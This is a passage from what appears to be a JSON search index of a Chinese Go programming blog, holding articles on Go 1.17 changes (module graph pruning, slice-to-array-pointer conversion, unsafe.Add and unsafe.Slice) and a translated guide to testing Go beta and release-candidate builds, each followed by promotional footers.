github.com/stretchr/testify v1.7.0 ## explicit; go 1.13 github.com/stretchr/testify/assert github.com/stretchr/testify/require # github.com/valyala/bytebufferpool v1.0.0 ... ... 如果main module go.mod中go version指示版本\u0026gt;= go 1.17，那么go mod vendor将忽略各个依赖包中的go.mod和go.sum，这两个文件将不会出现在vendor目录下的各个被vendor的module目录中。 5. 小结 Go 1.17通过对构建时使用的module graph的修剪，让我们再也不用为那些对项目没有代码级贡献但又极容易给构建过程带来麻烦的依赖所烦恼了。新版go.mod的格式还让我们拥有了一份完整的项目依赖列表，这种直观让开发者有一种安全和踏实的感觉。\n本文涉及的所有代码可以从这里下载：https://github.com/bigwhite/experiments/tree/master/go1.17-examples\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/08/19/go-module-changes-in-go-1-17/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-module-changes-in-go-1-17-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/08/19/go-module-changes-in-go-1-17\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/08/19/go-module-changes-in-go-1-17\"\u003ehttps://tonybai.com/2021/08/19/go-module-changes-in-go-1-17\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2019/06/03/the-practice-of-upgrading-major-version-under-go-module/\"\u003eGo module\u003c/a\u003e的引入终于让Go语言有了自己的包依赖管理标准机制与工具，虽说它的引入与推广过程略显坎坷，但不得不承认\u003ca href=\"https://tonybai.com/2018/11/19/some-changes-in-go-1-11/\"\u003eGo 1.11\u003c/a\u003e及之后的每一次Go版本发布，Go module都在进步！在\u003ca href=\"https://mp.weixin.qq.com/s/y_pC6GYeZnKuHG8ycNy6rg\"\u003eGo 1.17版本\u003c/a\u003e中亦是如此，本篇我们就来详细聊聊在Go 1.17版本中Go module都有哪些重要的变化。\u003c/p\u003e","title":"Go 1.17新特性详解：module依赖图修剪与延迟module加载"},{"content":"\n本文永久链接 – https://tonybai.com/2021/08/18/go-language-specs-changes-in-go-1-17\nGo属于那种极简的语言，从诞生到现在语言自身特性变化很小，不会像其他主流语言那样走“你有的我也要有”的特性融合路线。因此新语言特性对于Gopher来说属于“稀缺品”，属于“供不应求”那类事物^_^。这也直接导致了每次Go新版本发布，我们都要首先看看语言特性是否有变更，每个新加入语言的特性都值得我们去投入更多关注，去深入研究。下面我们就来深入Go 1.17版本中语言规范的一些变化！\n1. 支持将切片转换为数组指针 在Go 1.17版本之前，我们可以将数组转换为切片，数组将成为转换后的切片底层存储数组，因此，通过切片可以直接改变数组中的元素，就像下面代码这样：\n// github.com/bigwhite/experiments/tree/master/go1.17-examples/lang/slice2arrayptr/main.go func array2slice() { var a = [5]int{11, 12, 13, 14, 15} var b = a[0:len(a)] // or var b = a[:] b[1] += 10 fmt.Printf(\u0026#34;%v\\n\u0026#34;, b) // [11 22 13 14 15] } 但反过来则不行，Go不支持将切片再转换回数组类型，编译器会报下面错误信息：\n// github.com/bigwhite/experiments/tree/master/go1.17-examples/lang/slice2arrayptr/main.go func slice2array() { var b = []int{11, 12, 13} var a = [3]int(b) // cannot convert b (type []int) to type [3]int fmt.Printf(\u0026#34;%v\\n\u0026#34;, a) } 那么在Go中我们就没法将切片转换为数组了么？也不是绝对的。我们可以通过unsafe包以hack的方式实现这样的转换，如下面代码所示：\n// github.com/bigwhite/experiments/tree/master/go1.17-examples/lang/slice2arrayptr/main.go func slice2arrayWithHack() { var b = []int{11, 12, 13} var a = *(*[3]int)(unsafe.Pointer(\u0026amp;b[0])) a[1] += 10 fmt.Printf(\u0026#34;%v\\n\u0026#34;, b) // [11 12 13] } 上面代码中，我们实际上得到是切片底层数组的一份拷贝，修改该拷贝中的元素值，切片中的元素将不会受到影响。如果想通过数组修改切片中元素，我们还得通过获取数组指针的方式，如下面代码所示。\n// github.com/bigwhite/experiments/tree/master/go1.17-examples/lang/slice2arrayptr/main.go func slice2arrayptrWithHack() { var b = []int{11, 12, 13} var p = (*[3]int)(unsafe.Pointer(\u0026amp;b[0])) p[1] += 10 fmt.Printf(\u0026#34;%v\\n\u0026#34;, b) // [11 22 13] } 但是使用unsafe，一如其名，其安全性没有编译器和runtime层的保证，只能由开发者自己保证，Gopher在通常情况下应该避免使用。\n于是在2009年末，也就是Go语言宣布开源后不久（那时Go 1.0版本尚未发布），Roger Peppe便提出一个issue（那时go的开发还没有如今这么规范，没有proposal流程）：“spec: use (*[4]int)(x) to convert slice x into array pointer”。最初该issue的提出仅仅是因为语法层面缺失了从切片到数组的转换语法，同时希望这种转换以及转换后的数组使用时的下标边界能得到编译器和runtime的协助检查。这个issue得到了当时Go核心开发组成员的支持，Russ Cox还提出将Roger Peppe提议的语法形式做如下变动：\n从 b := a.[0:4] 变为 b := (*[4]int)(a[0:4]) 但不知何故，该issue始终没有被纳入Go主干中，直到Go 1.17版本，该issue又被重新提出来了。Go 1.17直接支持将切片转换为数组指针，我们可以在Go 1.17中编写和运行如下面这样的代码，而无需再借助unsafe的hack：\n// github.com/bigwhite/experiments/tree/master/go1.17-examples/lang/slice2arrayptr/main.go func slice2arrayptr() { var b = []int{11, 12, 13} var p = (*[3]int)(b) p[1] = p[1] + 10 fmt.Printf(\u0026#34;%v\\n\u0026#34;, b) // [11 22 13] } Go通过运行时对这类切片到数组指针的转换代码做检查，如果发现越界行为，就会通过运行时panic予以处理。Go运行时实施检查的一条原则就是“转换后的数组长度不能大于原切片的长度”，注意这里是切片的长度(len)，而不是切片的容量(cap)，于是下面的转换有些合法，有些非法：\n// github.com/bigwhite/experiments/tree/master/go1.17-examples/lang/slice2arrayptr/main.go var b = []int{11, 12, 13} var p = (*[4]int)(b) // cannot convert slice with length 3 to pointer to array with length 4 var p = (*[0]int)(b) // ok，*p = [] var p = (*[1]int)(b) // ok，*p = [11] var p = (*[2]int)(b) // ok，*p = [11, 12] var p = (*[3]int)(b) // ok，*p = [11, 12, 13] var p = (*[3]int)(b[:1]) // cannot convert slice with length 1 to pointer to array with length 3 关于这个语言特性的应用场合，目前还待Go社区挖掘，不过已经有人提出提出利用该特性优化go编译器的可行性评估了。\n2. unsafe包新增了两个“语法糖”函数 Go 1.17中增加了两个“语法糖”函数：Add和Slice。这两个函数原型如下：\n// $GOROOT/src/unsafe.go func Add(ptr Pointer, len IntegerType) Pointe func Slice(ptr *ArbitraryType, len IntegerType) []ArbitraryType 之所以这两个函数能进入unsafe包，和其他已经存在于unsafe包中的函数的目的是一样的，那就是将Go开发人员一些经常使用的“代码片段模式”升级为unsafe包内置的函数，这样不仅可以降低开发人员误用的比例，还可以让Go runtime提供一些检查，增加类型安全性。\nunsafe.Add函数 由于go原生不允许指针加减操作，因此我们在特定场景下不得不使用unsafe包来做指针加减，比如下面代码：\n// github.com/bigwhite/experiments/tree/master/go1.17-examples/lang/unsafe/add/main.go const intLen = unsafe.Sizeof(int(8)) func foo() { var a = [5]int{11, 12, 13, 14, 15} for i := 0; i \u0026lt; 5; i++ { p := (*int)(unsafe.Pointer(uintptr(unsafe.Pointer(\u0026amp;a[0])) + uintptr(uintptr(i)*intLen))) *p = *p + 10 } fmt.Println(a)// [21 22 23 24 25] } 上面代码中间变量p声明同时赋值那行是在Go 1.17之前unsafe包最常见的一种用法和代码模式。大家都这么用，但用起来还那么繁琐，于是便有了unsafe.Add。如果用unsafe.Add改造上面代码，便能简略一些，如下面代码所示：\n// github.com/bigwhite/experiments/tree/master/go1.17-examples/lang/unsafe/add/main.go const intLen = unsafe.Sizeof(int(8)) func bar() { var a = [5]int{11, 12, 13, 14, 15} for i := 0; i \u0026lt; 5; i++ { p := (*int)(unsafe.Add(unsafe.Pointer(\u0026amp;a[0]), uintptr(i)*intLen)) *p = *p + 10 } fmt.Println(a) } 本质上unsafe.Add(ptr, len) 就等价于unsafe.Pointer(uintptr(ptr) + uintptr(len))。在之前版本中，runtime的stubs.go中也有个类似的实现：\n$GOROOT/src/runtime/stubs.go // Should be a built-in for unsafe.Pointer? //go:nosplit func add(p unsafe.Pointer, x uintptr) unsafe.Pointer { return unsafe.Pointer(uintptr(p) + x) } Go 1.17有了这个Add函数后，建议大家就多多使用该函数，而尽量不要自己去拼那个“大长串”了。\nunsafe.Slice函数 unsafe.Slice函数支持基于一个数组创建一个切片，该数组将作为切片的底层存储，它也可以理解为等价于下面常用“代码片段”语法糖函数：\nfunc Slice(ptr *ArbitraryType, len IntegerType) []ArbitraryType \u0026lt;=\u0026gt; (*[len]ArbitraryType)(unsafe.Pointer(ptr))[:] 下面是unsafe.Slice的一个应用例子：\n// github.com/bigwhite/experiments/tree/master/go1.17-examples/lang/unsafe/slice/main.go func main() { var a = [5]int{11, 12, 13, 14, 15} s1 := a[:] s2 := unsafe.Slice(\u0026amp;a[0], 5) fmt.Println(s1) // [11 12 13 14 15] fmt.Println(s2) // [11 12 13 14 15] fmt.Printf(\u0026#34;the type of s2 is %T\\n\u0026#34;, s2) s2[2] += 10 fmt.Println(a) // [11 12 23 14 15] fmt.Println(s1) // [11 12 23 14 15] fmt.Println(s2) // [11 12 23 14 15] } 我们看到基于unsafe.Slice与基于数组进行切片得到的两个切片一样的，它们的底层数组都是数组a。因此，无论通过修改哪个切片元素，都会反映到另外一个切片中并反映到底层数组上。\n3. 小结 在本文中，我们了解到了Go 1.17新增的很少的语言特性，这些个性更多从语言的易用性、安全性等方面考虑才添加的，相较于以往版本，这些新增特性算是不少了。如果要期待语言特性的巨大变更，那还是一起等Go 1.18吧。Go 1.18保证让你爽歪歪。泛型(类型参数)的加入必然让go代码变得比以前更烧脑一些。\n本文涉及代码可以在这里下载：https://github.com/bigwhite/experiments/tree/master/go1.17-examples/lang\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/08/18/go-language-specs-changes-in-go-1-17/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/go-language-specs-changes-in-go-1-17-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/08/18/go-language-specs-changes-in-go-1-17\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/08/18/go-language-specs-changes-in-go-1-17\"\u003ehttps://tonybai.com/2021/08/18/go-language-specs-changes-in-go-1-17\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.imooc.com/read/87/article/2321\"\u003eGo属于那种极简的语言\u003c/a\u003e，从诞生到现在语言自身特性变化很小，不会像其他主流语言那样走“你有的我也要有”的特性融合路线。因此新语言特性对于Gopher来说属于“稀缺品”，属于“供不应求”那类事物^_^。这也直接导致了每次Go新版本发布，我们都要首先看看语言特性是否有变更，每个新加入语言的特性都值得我们去投入更多关注，去深入研究。下面我们就来深入\u003ca href=\"https://mp.weixin.qq.com/s/y_pC6GYeZnKuHG8ycNy6rg\"\u003eGo 1.17版本\u003c/a\u003e中语言规范的一些变化！\u003c/p\u003e\n\u003ch3 id=\"1-支持将切片转换为数组指针\"\u003e1. 支持将切片转换为数组指针\u003c/h3\u003e\n\u003cp\u003e在Go 1.17版本之前，我们可以将数组转换为切片，数组将成为转换后的切片底层存储数组，因此，通过切片可以直接改变数组中的元素，就像下面代码这样：\u003c/p\u003e","title":"Go 1.17新特性详解：支持将切片转换为数组指针"},{"content":"\n本文永久链接 – https://tonybai.com/2021/08/17/some-changes-in-go-1-17\nGo核心开发团队在去年GopherCon大会上给Go泛型的定调是在2022年2月份的Go 1.18版本中发布，那可是自Go诞生以来语法规范变动最大的一次，这让包括笔者在内的全世界的Gopher们都满怀期待。\n不过别忘了，在Go 1.18这个“网红版本”发布前，还有一个“实力派”版本Go 1.17呢！美国当地时间2021年8月16日，Go 1.17版本在经过两个RC版本之后正式发布！并且值得庆幸的是Go 1.17版本并没有过多受到Go 1.18版本这个“网红”的影响，Go 1.17默默地加入和优化了着实不少的特性。在这一篇文章中，我们就来看看Go 1.17版本中有哪些值得关注的变化。\n1. 语言特性变化 Go属于那种极简的语言，从诞生到现在语言自身特性变化很小，不会像其他主流语言那样走“你有的我也要有”的特性融合路线。因此新语言特性对于Gopher来说属于“稀缺品”，属于“供不应求”那类事物^_^。这也直接导致了每次Go新版本发布，我们都要首先看看语言特性是否有变更，每个新加入语言的特性都值得我们去投入更多关注，去深入研究。Go 1.17在语言特性层面做了两方面的小改动，下面我们来看看。\n第一个是对语言类型转换规则的扩展，允许从切片到数组指针的转换，下面的代码在Go 1.17版本中是可以正常编译和运行的：\n// github.com/bigwhite/experiments/tree/master/go1.17-examples/lang/slice2arrayptr/main.go func slice2arrayptr() { var b = []int{11, 12, 13} var p = (*[3]int)(b) p[1] = p[1] + 10 fmt.Printf(\u0026#34;%v\\n\u0026#34;, b) // [11 22 13] } Go通过运行时对这类切片到数组指针的转换代码做检查，如果发现越界行为，就会通过运行时panic予以处理。Go运行时实施检查的一条原则就是“转换后的数组长度不能大于原切片的长度”，注意这里是切片的长度(len)，而不是切片的容量(cap)。\n第二个变动则是unsafe包增加了两个函数：Add与Slice。使用这两个函数可以让开发人员更容易地写出符合unsafe包使用的安全规则的代码。这两个函数原型如下：\n// $GOROOT/src/unsafe.go func Add(ptr Pointer, len IntegerType) Pointe func Slice(ptr *ArbitraryType, len IntegerType) []ArbitraryType unsafe.Add允许更安全的指针运算，而unsafe.Slice允许更安全地将底层存储的指针转换为切片。\n2. go module的变化 自Go 1.11版本引入go module以来，每个Go大版本发布时，go module都会有不少的积极变化，这是Go核心团队与社区就go module深入互动的结果。\nGo 1.17中go module同样有几处显著变化，其中最最重要的一个变化就是pruned module graph（修剪的module依赖图）。Go 1.17之前的版本某个module的依赖图由该module的直接依赖以及所有间接依赖组成，无论某个间接依赖是否真正为原module的构建做出贡献，这样go命令在解决依赖时会读取每个依赖的go.mod，包括那些没有被真正使用到的module，这样形成的module依赖图被称为完整module依赖图（complete module graph）。\nGo 1.17不再使用“完整module依赖图”，而是引入了pruned module graph（修剪的module依赖图）。修剪的module依赖图就是在完整module依赖图的基础上将那些“占着茅坑不拉屎”、对构建完全没有“贡献”的间接依赖module修剪后的依赖图。使用修剪后的module依赖图进行构建将有助于避免下载或阅读那些不必要的go.mod文件，这样Go命令可以不去获取那些不相关的依赖关系，从而在日常开发中节省时间。\n但module依赖图修剪也带来了一个副作用，那就是go.mod文件size的变大。因为Go 1.17版本后，每次go mod tidy（当go.mod中的go版本为1.17时），go命令都会对main module的依赖做一次深度扫描(deepening scan)，并将main module的所有直接和间接依赖都记录在go.mod中（之前说的版本只记录直接依赖）。考虑到内容较多，go 1.17将直接依赖和间接依赖分别放在两个不同的require块儿中。\n3. 编译器与运行时的变化 Go 1.17增加了对Windows上64位ARM架构的支持，让开发者可以在更多设备上原生运行Go。但这个版本编译器最大的变化是在amd64架构下率先实现了从基于堆栈的调用惯例到基于寄存器的调用惯例的切换。\n并且，切换到基于寄存器的调用惯例后，一组有代表性的Go包和程序的基准测试显示，Go程序的运行性能提高了约5%，二进制文件大小典型减少约2%。也就是说你的Go源码使用Go 1.17版本重新编译一下就能获得大约5%的性能提升，真希望这样的优化越多越好！对更多平台的基于寄存器调用惯例的支持将在未来的版本中出现。\n除了改为基于寄存器的调用惯例之外，Go 1.17编译器还支持包含闭包的函数的内联(inline)了！这样一来，一个带有闭包的函数可能会在函数被内联的每个地方产生一个不同的闭包代码指针，因此，\nGo函数的值不能直接比较！\nGo编译器还在Go 1.17中引入了//go:build形式的构建约束指示符，以替代原先易错的// +build形式。\n4. 其他变化 保留龙芯架构GOARCH值 在Go 1.17版本中，Go编译器保留了中国龙芯cpu架构的GOARCH值 – loong64。关于龙心GOARCH值选用loong64还是loongarch64还有过一段激烈的争论，最终大多数都赞同的loong64取得了最后的胜利。\nGo test变化 Go test引入-shuffle的洗牌标志位，用以控制单元测试或benchmark的执行顺序。\n另外T和B两个类型分别都增加了Setenv方法用于在test和benchmark执行期间设置环境变量。\ntime包增加Time对象的GoString形式输出 我们使用%#v输出一个Time对象实例时，Go 1.17之前的版本输出内容如下面：\nGo 1.16.5输出：\ntime.Time{wall:0xc03f08c0d06c9ed0, ext:83078, loc:(*time.Location)(0x11620e0)} Go 1.17增加了GoString方法，该方法在Time对象以%#v格式输出时被自动调用，其输出结果如下：\ntime.Date(2021, time.August, 17, 20, 29, 42, 58245000, time.Local) 5. 小结 除上述变化之外，Go的其他标准库随着新版本的发布也都会有大量的小改动，但每个开发人员对标准库的关注点差别很大，因此，在这个系列中不会详细做说明了，大家还是参考Go 1.17的发布说明文档各取所需吧^_^。\n与传统的“Go新版本值得关注的几个变化”系列有所不同，本期内容较为简单和概括，因为更多内容，我将在后续的Go 1.17新特性详解系列中针对上述值得关注的新特性做进一步说明。详解系列已经写好，不过首发在了本人运营的星球“Gopher部落”上了，如果你迫切想深入了解这些新特性，可以加入星球阅读。\n本文所涉及的源码可以在这里 – https://github.com/bigwhite/experiments/tree/master/go1.17-examples/\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/08/17/some-changes-in-go-1-17/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/go-1.17-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/08/17/some-changes-in-go-1-17\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/08/17/some-changes-in-go-1-17\"\u003ehttps://tonybai.com/2021/08/17/some-changes-in-go-1-17\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGo核心开发团队在\u003ca href=\"https://mp.weixin.qq.com/s/SMT40557JgQ9FjUkswznlA\"\u003e去年GopherCon大会上给Go泛型的定调是在2022年2月份的Go 1.18版本中发布\u003c/a\u003e，那可是自\u003ca href=\"https://mp.weixin.qq.com/s/woQeEQUhOLJ7KSE5rm5q6g\"\u003eGo诞生\u003c/a\u003e以来语法规范变动最大的一次，这让包括笔者在内的全世界的Gopher们都满怀期待。\u003c/p\u003e\n\u003cp\u003e不过别忘了，在Go 1.18这个“网红版本”发布前，还有一个“实力派”版本Go 1.17呢！美国当地时间2021年8月16日，\u003ca href=\"https://blog.golang.org/go1.17\"\u003eGo 1.17版本在经过两个RC版本之后正式发布\u003c/a\u003e！并且值得庆幸的是Go 1.17版本并没有过多受到Go 1.18版本这个“网红”的影响，Go 1.17默默地加入和优化了着实不少的特性。在这一篇文章中，我们就来看看Go 1.17版本中有哪些值得关注的变化。\u003c/p\u003e","title":"Go 1.17中值得关注的几个变化"},{"content":"\n本文永久链接 – https://tonybai.com/2021/08/11/how-to-test-go-beta-or-rc\nGo 1.17已经发布到RC2版本！正式版最早将在8月中旬发布，最迟也不会晚于月底。对于喜欢尝鲜的Gopher而言，在体验Go 1.17的新特性的同时，也不要忘了为Go语言项目做做贡献！贡献什么呢？其实很简单，就是在尝鲜的同时，对Go语言的Beta公测版以及RC发布候选版进行测试，并把遇到的问题提交到Go语言项目官方issue列表中去。\n那么如何对Go语言的Beta公测版或RC发布候选版进行测试呢？别急，这就是本文要告诉你的内容。\n本文翻译自Go语言项目“编外”核心开发者、现Tailscale工程师Josh Bleecher Snyder的文章《How to test a Go beta or RC》。\n在Go发布周期的这个时间阶段，Go团队希望全世界的Go开发者们帮助测试Go的Beta公测版和RC发布候选版。\n请帮忙吧! 这很简单，很快速，也很重要。\n这是一篇关于如何测试(Beta和RC)，测试什么，以及为什么测试的文章。\n1. 安装 预发布版(pre-releases)可以用go get下载。例如：\n$ go install golang.org/dl/go1.17beta1@latest $ go1.17beta1 download $ go1.17beta1 test your/favorite/package 完整的预发布版本列表可在https://pkg.go.dev/golang.org/dl页面查看。\n2. Beta公测版 Beta公测版是对新版本的早期观察。它们有时会有已知的错误。严重的错误是不常见的，但也不是没有。新的API可能仍然会因反馈而改变。你不应该在生产中使用Beta版。\n以下是你在处理Go Beta版时应该做的事情，我们按简单快速到相当复杂进行排序。即使您只做了第一项或第二项，也是很有帮助的!\n在本地运行你的测试。调查并报告任何新的故障。 阅读版本发布说明。如果你看到任何有关该版本的异常情况，请提交一个issue来讨论。 在本地运行你的基准测试。调查并报告性能退步情况。 如果你有一个暂存服务器，CI，或者任何你可以运行更多测试的地方，请在那里使用预发布版本，并提交你遇到的任何问题。 查看API的差异。如果你看到任何有关的问题，请提交一个issue来讨论。 3. 发布候选版本(Release candidiates, RC) 候选版本通常没有已知的严重bug。(Google在他们的真实服务器上测试候选版本。) API应该是稳定的。\n处理Go RC版本的事情和处理beta版本的事情是一样的。只是如果你有足够的带宽和手段，你可能想尝试在生产中运行它，在一个小的服务器子集上。\n4. 我没有那么多时间 有一到两个Beta版和一到两个RC版的情况并不罕见。那将需要大量的测试。如果你只有少量的时间来帮助Go实现无错误的发布，那该怎么办？\n如果你只能做一件事，用第一个beta版在本地运行你的测试。这只需要几分钟的时间。错误越早被发现，它们就越有可能被修复，而且修复得很好。\n如果你能多做一点，请尽早阅读版本发布说明。无论如何，你都可能会在发布时阅读它们。通过提早阅读，你仍然有机会修复你看到的任何问题。\n5. 为什么要测试Beta版和RC版？ 编程语言，以及它们的工具和社区，是一种复杂的存在。人们以奇妙的、不寻常的方式使用它们。而编程语言也是软件，你知道这意味着什么。尽管Go的贡献者们尽了最大的努力，Go问题追踪器中还是有不少沮丧的程序员，他们发现新版本对他们不适用时已经太晚了：一个微妙的行为变化，一个罕见的性能退步，一个不太合适的API设计。\n一旦版本发布，修复这些问题就变得更加困难，有时甚至不可能。安全问题会得到及时的修复，但其他问题，即使是关键性的bug，也会在一个月后的下一个版本中才会得到修复。非关键性的bug要到下一个Go大版本才会被修复，最早也要6个月后。而且在很多情况下，由于Go 1的兼容性承诺，我们可能会被永远困在这个问题上。\nBeta版和RC是我们Go社区发现问题的唯一的机会，我们还有时间去真正解决它们。\n6. 奖励 考虑将Go的”tip”版本添加到你的CI中吧。这对尽早发现问题特别有帮助，但它确实增加了相当多的工作。在提交问题之前，你需要检查Go官方构建仪表板并进行一些调查，以确定发现的问题是否值得报告。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/08/11/how-to-test-go-beta-or-rc/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/how-to-test-go-beta-or-rc-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/08/11/how-to-test-go-beta-or-rc\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/08/11/how-to-test-go-beta-or-rc\"\u003ehttps://tonybai.com/2021/08/11/how-to-test-go-beta-or-rc\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGo 1.17已经发布到\u003ca href=\"https://golang.google.cn/dl/go1.17rc2.linux-amd64.tar.gz\"\u003eRC2版本\u003c/a\u003e！正式版最早将在8月中旬发布，最迟也不会晚于月底。对于喜欢尝鲜的Gopher而言，在体验Go 